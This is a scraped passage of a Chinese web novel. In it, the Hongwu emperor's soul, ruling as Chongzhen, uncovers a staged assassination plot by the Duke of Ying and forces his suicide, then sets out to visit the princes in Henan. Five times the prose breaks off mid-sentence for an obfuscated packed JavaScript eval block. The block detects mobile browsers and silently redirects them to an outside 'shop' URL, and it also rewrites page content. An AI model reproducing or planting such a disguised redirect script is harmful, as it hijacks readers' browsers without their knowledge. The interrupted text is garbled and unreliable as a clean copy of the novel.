皇帝的工作量是减轻了,但同样的,手里的权力也分出去给臣下了,再想收拢回来可就是难上加难。 想当年,他办胡惟庸案的时候,上砍丞相公爵,下砍地方主簿,现在呢?连魏忠贤都要暂且留着一条狗命。 实在是大明现在民生凋敝,眼看着就要重演当年元末的情形。 可是,挽救危局可比打破后重建要困难多了。 要不是因为这是他亲手建立的王朝,他真想拉起一支队伍直接做回老本行去。 到时候自己给自己封一个“奉旨造反”,哈哈。 就这么苦中作乐地想着,朱元璋把六部首脑等一班人全部叫了过来。 “我新拟了一道诏书,我新登基,天幕之祥瑞就现世,为了体恤吾民,为国祈福,接下来两年的税全部都免了。” “还有,朕要往江南走一趟。两件事情你们都准备一下吧。” 仿佛完全没有意识到自己扔出了两个多么惊世骇俗的重磅炸弹,他一脸平静地宣布了自己的决策。 … “陛下要免税了!”和“陛下要下江南了!”这两件事立刻传遍了朝野上下。 整个朝堂都炸了! 奏折像雪花一般飞来,不过朱元璋一眼也没看,全部转交给新任户部尚书毕自严。 可怜毕自严刚刚从南京风尘仆仆赶过来,就要面临这晴天霹雳,他立刻上了一疏表示这活他干不了。 对此,朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032538|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元璋表示:五十多岁正是闯的年纪,听说你以精打细算的抠门著称,咱很相信你,咱只要结果,过程你看着办吧。 于是,毕自严端着一张苦瓜脸去抄家了。 他快要疯了,想当年,他在天启元年抠抠搜搜供应辽饷的时候,都没有这么苦。 不过,他很快就高兴起来了。 好多钱啊! 自打天幕现世以来,客印月、五虎、五彪等人全被关进大牢,房产也统统封存,派锦衣卫严格把守,围的水泄不通,府里的人每天有吃有喝,但一只苍蝇都别想出府。 速度之快,以至于没人反应过来,自然也不会出现天幕上说的“崔呈秀狂砸古董”和“魏忠贤转移财产”的事情。 毕自严如同掉进了米缸的老鼠,先从客印月和她儿子家抄起,抄出白银40万两、金银财宝及古董字画50箱,房屋、田产、商铺等不动产若干。 “封存的太好了!”毕自严摸着花白的胡子,脸上的快乐就要溢出来。 他飞快地进入了状态,算盘打的当当响。 “嘿嘿,嘿嘿嘿。” 一条条一项项,全部列在抄家清单上,入库、入库,统统入库!卖了卖了全卖了! 仿佛就是专门等着他来抄家一般。 其实他想的没错,朱元璋就是专门等着他来的。 魏忠贤把持朝政期间,南京的六部班底一直是用来发配刺头的。能和魏忠贤呛声,至少说明不是阉党,先凑合着用。 说到底,还是朱元璋不信任首都府的朝臣班底。 这里已经被阉党淹没了。 顺带一提,内阁里的家伙们也全部被朱元璋赶走了。 内阁首辅黄立极,阉党!滚!次辅施凤来,讨好阉党的骑墙派!滚!张瑞图,给魏忠贤写生祠匾额,滚!李国,唯唯诺诺,循规蹈矩,滚……哦,他主动辞职了,火速同意。 朱元璋大笔一挥把内阁所有人都赶了出去,内阁自此正式形同虚设,恢复了他在位时期的光景。 所有尚书直接对朱元璋汇报工作,要干的活由朱元璋直接下派,没有劳什子的票拟、封还。 妙之,妙之。 “你真的要去江南吗?”朱由检看着堆积如山的奏折,发出了真心的疑问。 朱元璋打了个呵欠,连轴转让他的身体已经相当疲惫:“要去,但不是现在。” 站在桌案前的小人歪了歪脑袋:“?” 朱元璋摊开行政地图,指给朱由检看:“江南,也就是南直隶附近,太远了,正常单人行动需要走25天左右,帝王出行则时间更长。” 他比划了一下从京城到南京的距离,又将手指在河北附近点了点。 朱由检还想继续问,朱元璋却把地图收了起来。 “朝堂上现在吵翻了天,既不同意我去江南,也不同意免税。但现在朝堂上的阉党群龙无首,我最近刚提拔起来的官员没有形成党派,都不能很好地组织起力量反对我,到时候各退一步,他们也算尽忠了。” “不会挨骂吗?” “已经在挨骂了。”朱元璋答。 朱由检脸上露出了似乎是敬畏又似乎是震撼的表情。 朱元璋的表现异常平静:“当皇帝绝不能怕挨骂,群臣百官的唾沫星子淹不死我,倒是其他的方式有可能。” 朱由检没懂这个“其他的方式”是什么意思,不过他很快明白了。 当夜,朱元璋遭到刺杀。 7. 第 7 章 十月上旬,京城的天气愈发寒冷。 清晨的瓦片结了一层薄薄的霜,银杏叶铺满宫道。 朱元璋和刚抄完崔呈秀家的户部结束了一场小型会议,冬日的天黑得早,余晖落在人的身上,偶有一丝暖意。 风有些刺骨,他拢了拢披风,一时兴起,自己下了轿辇,和贴身太监王承恩、徐应元二人走在从文华殿回乾清宫的路上。 路上,两个太监正用简易担架抬着另一个小太监,贴墙站着,等待帝王走过这段路。 朱元璋略微皱了眉:“是怎么回事?” “回陛下,这小太监突然口吐白沫,臣等疑心是吃了不该吃的东西,正要送去尚食局司药那处看看。” 答话的是跟在担架边上的小宫女。 朱元璋见那个小太监脸色青白,看着已经进气多出气少,点了点头,道:“查出病因告诉王承恩一声。” 如果是这小太监自己吃错了东西,那让宫里的司药好好医治就行了。 但如果是疫病、又或者是中了毒,那就不是他一个人的事情了。 意外就是在这个时候出现的。 原本看着气若游丝的小太监突然起身,右手翻腕,寒光闪烁。 “小心!是袖里剑!”朱由检在朱元璋的耳边惊呼起来。 徐应元反应极快,一下子扑上来,为朱元璋挡下一刀。 那一刀下手极恨,徐应元脊背上的衣物瞬间被鲜血浸湿。 小太监一击不成,立刻将刀锋对准了自己的咽喉。 “拦住他!别让他死了!”王承恩尖声惊叫。 但这话还是喊晚了,小太监下手相当决绝,不多一会儿,就断了气。 “查。”朱元璋面若寒霜,“让司礼监和宫正司女官一起查,务必给朕查出主使来!” … 这是朱元璋成为崇祯帝以来受到的第二次暗杀,也是他本人人生中的第十九次。 上一次是朱由检发现的,他指挥着朱元璋,从魏忠贤进献的美姬身上搜出了类似“红丸”的迷魂香。 当初,朱由检的父亲登基后一个月内暴毙,就是死于纵欲与“红丸”的共同作用。 皇帝遇刺,是顶顶大的事,但按照明朝皇帝的短命程度来看,这大事发生的频率不算低。 最近,他还在和大臣们拉扯免税的事儿,转头就遭到刺杀。 还是这样明目张胆的手法。 朱元璋捻了捻眉心,彼时他离小太监并不是很近,徐应元倒是反应极快。 可否借这件事大做文章? 正当朱元璋不断思考下一步计划的时候,王承恩的脚步声一点点靠近,最后在门外停下。 “皇爷,周皇后与张皇后一同来了。” 眼前,巴掌大的小人肉眼可见地紧张了起来。 朱元璋瞥了一眼跳在御案上的朱由检,道:“请两位皇后进来。” 朱由检的眼睛滴溜滴溜转,看上去忐忑极了。 张嫣与周若暎一同迈步进来,向他行了个礼。 这一个月以来,他从未踏入后宫一步,这还是第一次与两位皇后见面。 那个看上去略微年长几分的女子率先开口:“听说皇叔遇刺,我和暎娘立刻就赶了过来,暎娘十分担心你。” 另一个年纪小些、容貌稚嫩的女子赶紧用力点了点头。 朱元璋搜索了一会儿记忆。 年纪略长些的,是张皇后张嫣,朱由检的哥哥天启帝朱由校的皇后。 在天启皇帝病重以后,是她花费许多时间,终于说服天启帝传位给弟弟朱由检。 也是她,在朱由检进宫后,千叮咛万嘱咐他,绝对不要吃宫里的食物。 朱由检感念她的扶持与照料,登基后尊为“懿安皇后”。 朱元璋“嗯”了一声,又补了一句“多谢皇嫂与皇后关心,我没什么事。” 上一世,他死的时候已经年逾古稀,眼前的周皇后十六岁,张皇后二十一岁,他完全是看小辈的怜爱感。 面子上过得去已经是妥协,要他做出弟弟的姿态来,还是有点为难朱元璋了。 朱由检贴过来了,他眼泪汪汪,简直要哭出来。 “太.祖爷,你帮我和暎娘说几句话,好不好?” 朱元璋心里顿了一下,想起了马秀英。 他们成婚的时候,也都只有二十来岁。 朱由检与周若暎,七个月前刚刚成婚,虽然相处时间很短,但感情正在缓慢地发展培育。 结果他嘎巴一下穿了过来,虽然不是他的责任,但也直接导致了朱由检失去了他的所有世俗身份,连同与身边人的羁绊。 朱由检虽然面上没对他这个当长辈的说什么,但心里一定是失落、茫然的。 朱由检急的在御案上直蹦:“太.祖爷,我求您了,您就说,暎娘,我想你了。” “我最近处理魏逆的事情,实在太忙。”朱元璋仿佛没听到,安抚两位皇后道,“我无恙,皇嫂与皇后若是没什么要紧事,就快些回宫休息吧,立冬已过,天气渐渐冷了,需得注意身体。” “有劳皇叔关心,虽然忙于政务,但也别忘了时时看看暎娘。”身为嫂嫂,张嫣忍不住提醒。 朱元璋点点头,虽然应下,但送客的态度很明显。 周若暎深深地看了朱元璋一眼,一句话也没说,退下了。 “为什么不同暎娘多说几句话?”朱由检问。 “现在你这幅样子,何必给她希望?”朱元璋看着眼前失落的少年,“你要我和她说话,是用什么身份呢?” 朱由检顿时萎靡了下去。 朱元璋看着这个年轻的后辈,忍不住多说几句:“在找到你成为你的方法之前,还不如拉开些距离,免得生了虚妄。” … 调查暗杀一事暂时还没有结果,朱元璋慢慢地放了口风出去。 朝野上下逐渐知晓,陛下在刺杀中受了惊吓,在仔细思考新政策的合理性。 帝王一个接一个找了朝臣谈心,有阉党、有近期被起复的人。 “谈话如何?”张维贤找到他的长子张之极,问。 张之极刚刚与少年天子对谈结束,慢慢地回忆着刚刚的对话。 “似乎没什么特别的。”他规规矩矩地回答,“现在朝堂上下还是为了免税与去江南的事情争执,本来之前陛下的态度相当坚决,但遇到刺杀一事后,陛下似乎被吓着了,这些天都没再提了,也没问我意见。” “我就说吧。”张维贤得意洋洋道,“只要有这么一出事情就行了,小皇帝得来皇位不易,必定会好好珍惜。” “陛下还向我提到了刺杀一事。” 张维贤一下子警惕起来:“他说了些什么?” 张之极不以为然:“也没有什么大事,大概就是作为京营的负责人之一,我对刺杀一事有什么看法,最近清点京营实际人数的过程中有没有发生什么事情,等等。” 张维贤放下心来:“看起来都是些例行公事的问题,你是如何作答的?” “还能怎么样?”张之极抱怨道,“那秦良玉和徐光启,都是陛下亲自任命的,态度又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037013|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦卑得很,只说我们张家忙不过来,派她二人来帮忙,我能当面对圣上参他们一本不成?” 说到这个问题,张维贤发愁得很:“小皇帝倒是比他哥哥勤恳多了,可惜啊,不懂得帝王之术,查我们京营算怎么回事?有本事把宗室一起清点了。” 而且,这小皇帝甚至都没有像天幕里说的那样,把阉党二百余人尽数清点出来,而是一个个找来谈心。 美其名曰谈心,但听说,他在问那些非核心阉党要钱呢! 说是什么查贪腐,但哪有只要人交赃款,就不处以刑罚、还保留官位的? 简直就是明晃晃地说:交钱不杀!交钱不发配!交钱留官位! 皇帝这样问臣下要钱,说出去也令人耻笑。 怎么会有如此抠门的皇帝?他在当皇帝之前,不也是个富贵王爷么?眼界如此之低,就仿佛是泥腿子出身一般! “那个叫秦良玉的老婆子,我早就看不惯了。”张之极也相当愤恨,“她好好地待在石砫剿她的匪,来插手京营的事情做甚?” 张维贤捋了捋胡子:“徐光启那个老不死的也是如此,他算是什么人?什么天主教徒,制造红夷大炮?完全是弃圣人之学,崇西洋异术!” “偏偏圣上还相当信任他俩,再加上毕自严,快要把京营的空饷都盘点清楚了。虽然没有驱逐那些老弱病残,但发放的粮饷可减少了不止一星半点。” “刚刚上任么,又有天幕这么一档子事,难免想要干出点成绩来。亡国之君,多难听啊!”张维贤说,“也算他还有点自知之明吧,如果只留下精兵,把那些兵油子全开除,京城里边自己就先乱起来了。” 可能是天幕让小皇帝过于焦虑了。 不过,这也是正常的,如果朱家江山倒了,那他这个由成祖亲封的英国公,也延续不了多久。 “父亲,你说,天幕只说了大明会灭亡,却没说之后是谁建立了新的王朝。”张之极眼睛滴溜溜地转。 张维贤的心思有些浮动。 现在的小皇帝只有十七岁,按照天幕的说法,他死的时候也只有三十四岁,那他的孩子年龄也一定不大。 到时候他作为京营的掌控者,老牌勋贵,既有兵力,又离天子那么近,谁能不说他是一个新的曹操呢? “这天幕出现了一回,就不动弹了,要不是它还立在皇宫之上,我真要以为那是一场梦境了。” 张之极掀开窗户,向皇宫的方向望了望,那块半透明的天幕静静地沉默着。 “小皇帝的谈话刚刚找过我,估计一会儿就要找到父亲您了。”张之极道,“我没漏出什么破绽,接下来就看父亲的了。” “你老子去对付一个十七岁的毛头小子,你就放一百个心吧。”张维贤咧了嘴笑,“刺杀一事,本就不是为了取他性命去的。” 门外传来了仆役刻意加重的脚步声。 张维贤父子二人闭上了嘴,不多时,仆人就到了正屋。 “国公爷,陛下身边的王公公王承恩来了,说是带了陛下的口谕。” 张维贤站起身,他早就已经穿好了面圣的朝服。 张维贤打量了王承恩一眼,他是不大能看得起王承恩的,太监在他心里的印象就不大好,全是能够为金帛所收买、和魏忠贤沆瀣一气的家伙罢了。 因此,他也没有行任何礼,只是抬了抬眼: “王公公,何事?” 面对张维贤的轻慢,王承恩倒是面色不改,仿佛没有看见。 “陛下口谕,传英国公张维贤入朝觐见。国公爷,请吧。” 8. 第 8 章 “张公。”朱元璋略点了一点头。 帝王没叫他起身,张维贤觉得有些古怪,但仍是表现出了担忧与关切: “听闻陛下五天前遇刺,故而最近都没有早朝,陛下圣躬安否?” “尚可。”朱元璋的回复相当简短。 乾清宫陷入了寂静。 张维贤觉得思绪有些混乱,圣上叫他过来,却一言不发,难不成是发现了什么? 不可能,长子已经来过,没发现什么端倪。 宫里头他买通的内应,也一点风声都没传出来。 半晌,朱元璋终于出声了。 “张公,两个月前,朕从信王府入宫,是你亲自牵的马。”他眺望远方,似乎是在回忆。 张维贤心里一跳:“是。” “当时天幕突然出现,朕打击阉党,你掌控京营替朕平息了乱子,朕是打心底里感谢你的。” 张维贤用力一顿首:“这是臣的职责,臣惶恐。” 心里却不由自主开始发毛。 在来之前,他连腹稿都打好了。面对帝王的提问,他要先诉诉苦,说现在京营的粮饷都得靠士兵自己种地种出来,可不识好歹的徐光启还推行什么番薯种植,搞什么试点,如何填的饱肚子? 再给那的秦良玉上上眼药,当然,面对这德高望重的妇人,也不能直接说她的不是,得明褒暗贬,就说水西那边平乱离了秦良玉不行,她那儿子和儿媳顶什么事?还得派老将上场。 但他的思维全部被打乱了。 朱元璋的语气相当平静:“朕想请张公辨认一下,你可认识这是谁?” 他偏了偏头,王承恩把一个身着太监服饰的病患带了上来。 太监的腰腹处从背后中了一刀,已经结痂,痕迹不太深,只是在一片惨白的肌肤上相当显眼。 张维贤看到来人的面容,心头一跳,试探道:“这……臣记得是从前信王府上的太监,似乎是姓徐?” 听到这个回答,朱元璋终于舍得搁下毛笔,点了点头。 “是,他叫徐应元,在我被皇兄册封为信王的时候,被调入了我的府邸,之前一直是在宫里伺候的。” 张维贤:“陛下这么一说,臣似乎对这名字有了点印象。” “五天前,朕遇刺,徐应元扑上来保护我,这才受了伤。因为天气冷,当时他穿的挺厚实,所以伤势不重,当然,这也与那个刺客没有用毒有关系。” 张维贤被这个话题绕糊涂了,他小心翼翼地答:“陛下身边的人,沾染了龙气,自然吉人天相。” 朱元璋道:“张公掌管京营,对刀剑伤应该有不少了解,朕想请张公看一看,徐应元的伤有何蹊跷?” 张维贤干笑:“陛下说笑了,臣只是个领兵的粗人,蒙父祖余荫,得成祖看重,混个英国公的位置,平时京营里受伤之人,自然有医官来救治,臣自己是看不出什么名堂来的。” “是看不出来,还是不想看?”少年天子的声音不疾不徐,却有种不怒自威的感觉。 他走下御座,绕到张维贤面前。 一边的徐应元抖了一下。 张维贤的冷汗开始往外冒了:“臣愚钝,请陛下明示。” “明示?”朱元璋哼笑一声,“其实遇刺那天,朕就感到困惑。那行刺者距离朕有相当远的一段距离,显然不能成功,他为何还要动手?” 张维贤:“胆敢行刺陛下,说明这个人本来就是糊涂鬼,或许这是他距离陛下最近的一次,所以就算知道不能成功,还是想尽全力一搏。” “一般而言,用刀剑行刺之人,为了增加刺杀成功率,多少都会往利器上抹毒,例如马钱子、鸩毒等等。但这个行刺者用的手里剑,上面什么都没有。” “再结合他的行动轨迹,简直就像是……” “他只是在意刺杀这个举动,而并不在意刺杀的结果一样。” “所以朕在想一种可能。或许,这个刺客想要做的,并不是为了杀朕。” “不,甚至他根本就不愿意让朕去死。” 话说到这里,房里剩下的三个人已经齐齐跪倒,只有朱元璋一边踱步,一边自言自语。 好在朱元璋也不需要回应。 “朕是亡国之君。” 张维贤小心翼翼地磕头:“陛下,天幕所言,不可尽信啊!” 朱元璋心平气和地摆了摆手:“朕知道。” “许多人嘴上那么说,但他们其实都相信了。这半个多月以来,朝臣们嘴上不说,神态与小动作却做不了假。” “亡国之君的名,大家都不爱担当,但如果天幕说的是真的,那距离朕死还有十七年,这十七年里面,什么事情都有可能发生。” “朕说的不只是好事,而是——朕是皇帝,但其他人不是,亡国之际,朕必死,但非皇室成员,没有非死不可的理由。” 朱元璋平静地推演臣下的想法。 “抓紧时间捞钱,在最大范围里攫取利益,然后远远逃离,岂不美哉?” “可是,朕不明白。” 那双乌皮毡靴在张维贤面前停了下来。 黑色缎面上织着暗金龙纹,靴口镶着一圈雪白羊毛,应该是宫里为了即将到来的冬天新做的。 “英国公,你为什么要做这么一出刺杀朕的戏呢?” 张维贤的脑子“轰”的一声宕机了,他感觉自己四肢百骸的血液都在一瞬间涌入大脑,冲的他无法思考。 他张了张嘴,感觉嗓子像被这入冬的天气冻住了似的,但他听到了自己干涩的声音。 “陛下,臣开不起这个玩笑。” “朕没有和你开玩笑。”朱元璋捏住了跪在一旁、从刚刚开始就一个劲发抖的徐应元的后颈。 “当时,徐应元扑了上来,其实反倒是与那刺客拉近了距离,还害他受了伤。” 朱元璋的神色淡淡的,似乎是疲惫了: “徐应元,你自己说吧。” 冰凉的触感压着徐应元的脖颈,让他无法抬起头观察一丁点帝王的神情,也无法通过叩首来表达自己的情绪。 徐应元的喉结剧烈地上下滑动: “陛下,英国公确实给了我二万两白银,告诉了我暗杀一事,要我为刺客做掩护,还要我假意保护您,去、去当扎在陛下您身边的钉子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042549|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐应元的声音开始哽咽抽泣: “臣一开始没答应,可是后来……” 后来他给的太多了。朱元璋在心里补充。 当然,徐应元没这么说:“但是英国公反复保证,刺客绝不会伤到陛下一根汗毛,还说经过此事,陛下一定会对臣大加赞赏、更加信赖,臣一时鬼迷心窍,就……” “事成之后再许你黄金万两?”朱元璋挑眉。 “没有那么多!”徐应元着急忙慌地解释,“说再给我一万两。” 张维贤闭了闭眼。 他怎么就选中了这么一个蠢货!不过,如果不是蠢人,也不会被他买通了。 张维贤这时候一点也想不起来什么小皇帝、什么手握兵权,什么挟小皇帝以令勤王军。 他只一味磕头:“陛下!陛下!臣愿意交出京营、交出所有家财!只求留得一条性命啊陛下!” 朱元璋像是忍不住似的笑了:“犯下这样的大罪,朕要处置你,还需要考虑你的意见么?” “而且,你儿子张之极也参与其中了吧?” 张维贤:“臣拿人头担保,犬子对此绝不知情!” 朱元璋叹息:“他知不知情也没什么需要在意的。你做出这件事情之前,就没替他、替你孙儿考虑过。你儿子已经成年有子,朕断不可留他了。” “英国公,你父祖是因为靖难有功,朱棣亲自封赏的,有你这样的后人,真不知他作何感想。” “为了周全你家最后的脸面。” “你与你儿子一同自裁吧,朕会让你孙子继承你的爵位,仍是英国公,与明朝共存亡。” 朱元璋宣布了他的结局。 至于幼子,夭折概率可太高了……朱元璋漫不经心地想。 若是公开揪出他行刺,少不得要满门抄斩,在现在这个人心浮动的局面下,给其他朝臣造成巨大精神压力不说,还容易被戳脊梁骨,“你看这英国公,从成祖时就传下来的,早不反晚不反,偏偏挑这个时候行刺,指不定新君多不得人心呢!” 在英国公幼子成年娶亲之前结束掉吧,免得又拖累其他人。 “对了。”他状似不经意地提起,“你行贿徐应元就花了三万两白银,家资颇丰啊?” … 张维贤根本不知道自己是怎么走出乾清宫的。 他走后,王承恩轻语:“陛下,那两个抬了担架的太监、还有领着刺客去司药女官处的宫女,要如何处置?” 在朱元璋说出“一并杀了”之前,朱由检先飘到了视野正中心。 “太.祖爷,饶了他们,如何?”他双手合十,摆出求人的姿态,“他们年纪尚小,本身是被蒙蔽的,并不是有意掺和其中。” 这些宫人确实年纪尚小,但够蠢。再说,帝王之家本就没什么无知者无罪的道理,杀了才免得后续再生出什么事来。 因为有王承恩在场,朱元璋不便说话,就看朱由检在眼前上蹿下跳。 吵的头疼。 数息之后,朱元璋:“罢了,也不是什么大事,一般太监宫女到了岁数如何处置?按照宫中旧例给一笔钱,放出去吧。” 9. 第 9 章 天启七年十月初九,英国公张维贤病逝。 按照惯例,由其长子张之极袭爵,然而,或许是父亲离世的打击太大,张之极很快也一病不起,一个月后撒手人寰。 再循旧例,由张之极唯一的儿子袭爵。那时帝王不在京城,听闻消息,感念幼子生存不易,特赐银二百两、彩缎三十匹,以资家用。 天启七年十月初八,帝王的内帑多出四十六万两白银。 至于怎么来的,别管。 朱元璋算了一下这个数字,知道张维贤没把钱全都拿出来,但他也无意再去追究。毕竟面上不能真的做绝了不是? 关于刺杀一事,帝王下了定论,认定是阉党余孽一人所为,但京师官员负有管理不善的过错,在一干官员又交罚款又贬官以后,此事圆满完结。 众人无不夸赞、感恩新君仁德。 与此同时,在朝臣夜以继日、前仆后继的劝谏下,新君终于放弃了去江南的想法,决定“巡幸河南”。 河南是什么地方? 足足有五位亲王! 开封府周王、河南府(洛阳)福王、南阳府唐王、汝宁府崇王、卫辉府潞王,全部都在河南。 简而言之,就是觉得大家不让他出京师,想干的事情干不成,作为皇帝太丢面子,两相妥协之下,决定出门走亲戚去。 朝臣们纷纷松了一口气。 河南好啊,离京师近,大片土地都是藩王的地盘,钱粮管够,不用从户部支出银子。 说难听点,就算天子真的出了啥事,那么多藩王,随便拉一个就能顶起来用。 于是朝臣们终于同意了。 总之,在尚书毕自严的有序安排下,户部以惊人的效率完成了所有准备工作,新君很快就携带两千翊戎卫,即日出发。 简直就像是早有预谋一样。 “就算他们看出来张维贤父子是‘被病死’,又能怎样?”朱元璋坐在顶部涂红漆的红板轿里,偶尔撩起帘子看一看外边。 两边都是黑压压的护卫队,刚撩起帘子,就有太监过来问他有什么需求。看了一会儿,朱元璋就自觉地把目光收了回来。 他本想骑马出行,这样还能快些。 不过鉴于他刚刚遭受了一场刺杀,他觉得自己还是不要马上表现出更多不属于“从未受过帝王教育的信王”的特质比较好。 免得到时候一天到晚和刺客搏斗,说实话,挺有可能的。 “哦……”朱由检似懂非懂。 朱元璋耐心道:“朝中官员,有许多都是曾经与阉党有勾连的,他们说过的话上过的奏疏,都是铁证。他们惴惴不安,担心我突然发难,不会过分阻拦我。” “再说了,张维贤父子接连死亡,别人先怀疑,也是怀疑即将接任京营领袖的人。”说到这个,朱元璋还是有点头疼。 秦良玉已经被他安排为翊戎卫的掌管者,虽然为了继续清查人数,暂时由她兼任京营首领,但也不是长久之计。 京营里最不好管的不是普通士兵,而是把士兵当家丁使唤的高级军官! 到底什么人,才能镇得住这群兵油子军官呢? “嗯嗯!”小团子朱由检不知道朱元璋在想什么,但他还是用力点了点头,又重新爬回了朱元璋的肩膀。 这些天,他总结出了一些规律,他清醒和沉睡的时间是有定量的,能量消耗一多,就很容易陷入长时间的不省人事。 而离自己的身体越近,就越能充实能量。 此外,随着能量的增加,他能够离开朱元璋的范围,则更加远了一些。 一路颠簸。 朱元璋去的第一站,是河南的首府洛阳,这里也是福王朱常洵的封地。 早在出发之前,朱元璋就发布谕旨,他要见所有在河南的藩王,但为了避免劳民伤财,所以特批河南的其他四位亲王可以出城,要求他们全部聚集在福王府,等待他的到来。 正好一次性见见他的后代们。 现在这五位亲王齐刷刷都在洛阳等着他。 其中的福王朱常洵是朱由检的叔叔。福王的父亲是在位48年的万历皇帝,母亲是受到万千宠爱的郑贵妃。 万历曾一度想要立朱常洵为太子,但因为群臣激烈反对,最终没有成功,但这场涉及国本的拉锯战持续了整整十五年。 最终,以万历立朱由检的父亲为太子、给了福王远超亲王待遇的两万顷封地告终。[1] 第一次见面,福王朱常洵的身材可让朱元璋吃了一惊。 在出京师之前,他就已经知道,这位福王在封地上搜刮无度,引得民怨沸腾,因此对他的面相也有所想象。 但刚见到福王,最突出的并不是他的脸长得如何,而是他实在是一个超级无敌大胖子! 在朱元璋抵达洛阳的那天,福王身着亲王朝服,在出城三十里外,被四位太监搀扶着等待朱元璋的到来。 肥肉堆满了他的脸颊和身体,远远看见皇帝的红板轿来了,他便开始下跪。 他的每一个动作都伴随着胸腔沉重的喘息,见他跪不下去,太监们一人一边扶住他的双臂,第三人托住他的膝盖,第四人按住他的后腰,合力将他往下按。 即便是寒风凛冽的北方冬天,也能看到他额头上细小的汗珠。 朱元璋不由自主地闭了闭眼睛。 再睁开眼,还是这样一副场景,没有丝毫变化。 这身材,得有三百斤吧?? “快快免礼。”朱元璋不忍直视地挥了挥手,等他跪下去,估计得等上整整一刻钟,“怎好叫叔叔向我行跪拜之礼?” 王承恩快步上前,搀扶住朱常洵。 其他四位藩王也纷纷站了起来,看着倒还算正常。 “呼、呼……臣不敢。”话虽如此,福王还是慢慢站了起来。 “陛下临幸,臣有失远迎。”他每说一个字,都要喘一口气,仅仅只是站着,就已经汗如雨下。 不过,朱由检的这位叔叔,可不太能够瞧得起刚刚登基的侄子。 在他眼里,这就是一个抢了他皇位的短命兄长生下来的另一个短命鬼而已。 就在二人各自说着一些言不由衷的客套话时,沉寂已久的天幕突然开始发出“滋拉、滋拉”的响声。 … 江苏,常熟。 魏忠贤紧赶慢赶,跑的魂都要吐出来,终于在一个月内赶到了这里。 他的脸上被刺了字,戴着重重的枷锁,在原先的信王府、也就是现在的天子守卫的看管下,一路颠簸来到了一座大宅门前。 大宅门口,石狮子怒目圆睁,那卷曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048104|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胡须也是栩栩如生,仿佛在替主人诉说着对不速之客的厌恶之情。 门口的匾额上,赫然写着“钱府”二字。 魏忠贤到了门口,也不和守门的小仆说话,先往匾额下一躺。 仗着押住他的人在他不远处看着,钱家家仆出来赶人走,他就开始哀嚎。 总之就是充分发扬他自宫前当泼皮无赖的经验,哭天抢地骂钱家苛待旧臣、忤逆皇命,唾沫星子溅得家仆满脸都是。 短短半日,钱家门口有个囚犯在闹事的事情传遍了苏州府。 “逆贼,你来这里做什么?!你已被天幕揭发,怎的还不自裁谢罪?” 当钱府周边看热闹的百姓越来越多时,钱谦贞终于从府内出来,面色铁青,眼底满是嫌恶,勉强没有破口大骂。 魏忠贤趴在地上,听见这话反倒停了哀嚎,抬眼咧嘴一笑,嘴角的皱纹挤着脸上的刺字: “咱家的命硬着呢,哪能轻易死?你们家族年年借着漕运盐引抗税,又与东林贼党苟且,你兄长钱谦益就是东林走狗!咱……” “住嘴!”钱谦贞一声怒喝,语气又缓和下来,“进门再说。” “嘿嘿,钱家要风骨、要面子,咱家可是什么都没有了。”魏忠贤抬腿就往门里走,还不忘继续大开嘲讽。 “尔等千辛万苦等着咱家倒台,以为能一步登天掌大权,结果呢?” “新君既不召也不用,晾在江南喝西北风!” “你们这般失势的破落户,也配在咱家面前摆架子?真当把柄烂在咱家手里了?” 钱谦贞被戳中痛处,脸色一白,随即又提起气来: “你构陷忠良、搜刮民脂,如今落得这般下场,也是应该的事!还敢提凭空构陷? 接着,他压低声音:“周围愚民不知你是魏逆,所以才看热闹。你猜,如果他们知道了你就是那个魏忠贤,会不会当场把你打死?” “无论怎么说,咱家现下就是来卖房子的。”魏忠贤挺了挺脊背,满不在乎地继续诉说着。 除了这一条命,他已经没有什么可以失去了。 “咱家京里的那处宅邸,是上好的规制,楼台亭阁一应俱全,连廊下的石础都是汉白玉所制,伺候人的厢房都比你这门房都宽敞,如何不值120万两银子呢?” 魏忠贤滔滔不绝,仿佛真的在做房屋中介。 